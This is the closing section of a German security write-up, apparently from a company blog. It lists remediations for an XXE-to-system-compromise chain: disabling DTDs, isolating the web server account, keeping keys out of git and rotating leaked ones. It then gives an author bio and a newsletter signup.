Wenn wir jetzt noch einmal ein paar Schritte zurückgehen und darüber nachdenken, was nötig war, um von einem nicht authentifizierten Besucher einer Website zur kompletten Systemkontrolle zu gelangen – sollten wir in der Lage sein, all diese Mängel zu beheben:

  • XML kann verwendet werden, um Objekte von außerhalb des Dokuments zu laden: DTD vollständig deaktivieren(OWASP XXE Prevention Cheat Sheet)
  • Der Webserver läuft unter einem normalen Benutzerkonto: Um zu verhindern, dass Angreifer potenziell sensible Dateien lesen, hätte der Webserver unter seinem eigenen Konto laufen sollen, ohne dass er die Rechte zum Lesen des Home-Verzeichnisses eines Benutzers hat. Damit hätte der private ssh-Schlüssel nicht exfiltriert werden können.
  • Keine Anmeldedaten in git Repositories! Achtet darauf, es sauber zu halten. Wenn dann tatsächlich so etwas wie ein Schlüssel versehentlich darin gelandet ist: Schlüssel rotieren. Besonders, wenn nicht sicher gestellt werden kann, ob jemand diese bereits gepullt hat.
  • Allgemein: Bei mitre att&ck gibt es einiges an Empfehlungen zur Handhabung von privaten Schlüsseln.

Wenn dir gefallen hat, was du gerade gelesen hast – lass gerne Feedback da. Wenn es dir nicht gefallen hat, bitte lass ebenfalls Feedback da – wir arbeiten dann daran 🙂

In Zukunft werden wir noch einige weitere von diesen Write-Ups posten. Happy hacking!

Martin Riedel

Nach mehreren Jahren als Entwickler im JVM-Umfeld, hat sich Martins Fokus im Lauf der Zeit auf die Informationssicherheit verschoben. Wenn er nicht dabei ist, etwas kaputt zu machen, hilft er dabei es wieder aufzubauen und abzusichern.

Über 1.000 Abonnenten sind up to date!

Die neuesten Tipps, Tricks, Tools und Technologien. Jede Woche direkt in deine Inbox.

Kostenfrei anmelden und immer auf dem neuesten Stand bleiben!
(Keine Sorge, du kannst dich jederzeit abmelden.)

* Hiermit willige ich in die Erhebung und Verarbeitung der vorstehenden Daten für das Empfangen des monatlichen Newsletters der codecentric AG per E-Mail ein. Ihre Einwilligung können Sie per E-Mail an datenschutz@codecentric.de, in der Informations-E-Mail selbst per Link oder an die im Impressum genannten Kontaktdaten jederzeit widerrufen. Von der Datenschutzerklärung der codecentric AG habe ich Kenntnis genommen und bestätige dies mit Absendung des Formulars.

Kommentieren

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.